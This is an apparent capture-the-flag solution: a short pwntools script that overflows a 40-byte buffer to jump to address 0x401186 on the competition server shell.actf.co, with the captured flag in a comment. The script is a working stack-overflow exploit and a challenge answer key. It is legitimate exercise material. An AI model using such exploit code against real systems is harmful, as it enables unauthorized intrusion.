Rating:

```
from pwn import *
import struct
buffsize = 40
addr =p64(0x401186)
payload = "A" * buffsize + addr
x = remote("shell.actf.co",20700)
x.recv()
x.recvuntil(" name?")
x.sendline(payload)
x.stream()
#actf{that_gosh_darn_canary_got_me_pwned!}
```